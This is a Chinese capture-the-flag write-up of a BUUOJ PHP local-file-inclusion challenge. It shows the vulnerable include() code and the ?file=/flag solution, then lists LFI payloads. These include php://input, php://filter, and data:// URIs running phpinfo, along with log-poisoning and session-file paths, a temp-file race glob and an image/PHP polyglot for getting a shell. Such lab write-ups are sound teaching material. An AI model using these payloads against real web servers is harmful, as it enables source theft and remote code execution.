BUUOJ BASIC 文件包含LFI学习记录

打开题目,发现代码第14行存在include函数,应该可以将flag文件给包含进来,然后读取就可以得到flag了。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/

highlight_file(__FILE__);

if(isset($_GET['file'])) {
$str = $_GET['file'];

include $_GET['file'];
}

构造payload:?file=/flag得到flag。

思考

平时做题通常会用到php://filter/convert.base64-encode/resource=filename这个伪协议来读取文件,那么这题和其他题目有什么不同呢?

php://filter协议是用来读取任意文件源码的,直接包含文件如果是php的话会被执行。

其他利用方式

除了直接指定文件,还有几种常用伪协议:

php://input

这个伪协议可以将post请求作为文件内容发送,比如直接调用phpinfo

Payload:

1
2
?file=php://input
POST(可以使用hackerbar插件传递post参数)

php://filter

这个伪协议可以获取制定文件的源代码,同时让其不执行。

常用Payload:

1
2
?file=php://filter/resource=filename
?file=php://filter/convert.base64-encode/resource=filename

zip://和phar://

zip通过#分割,可以包含压缩包内的文件

phar通过/分割,也可以包含压缩包内的文件

data://

与**php://**协议类似,可以传入数据

1
2
3
4
5
?file=data://,<?phpinfo();
?file=data://text/plain,<?phpinfo();
?file=data://text/plain;base64,**
?file=data:text/plain,
?file=data:text/plain;base64,**

其他用途

包含日志文件GetShell

WEB服务器会将用户的访问请求保存在访问日志中。可以构造PHP代码插入到日志文件中,通过文件包含来执行PHP代码。

对于Windows

access.log

对于Linux

1
2
/etc/httpd/logs/access_log
/var/log/httpd/access_log

包含SESSION文件

寻找Session中的可控变量,找到session的保存路径,包含session文件从而getshell。

常见存储路径

1
2
3
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件,也可利用正则路径名来包含该临时文件,例如:

1
/???/????????[@-[]

利用文件包含来执行上传的文件

例如允许上传图片文件,可以使用

1
copy 1.jpg/b+2.php 3.jpg

再包含已上传的文件即可执行2.php的内容

其他包含利用

  • 包含SMTP日志
  • 包含XSS

参考链接

https://blog.csdn.net/qq_42181428/article/details/87090539

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/qq_39431542/article/details/88628225

作者

饼干

发布于

2021-09-17

更新于

2021-09-17

许可协议

评论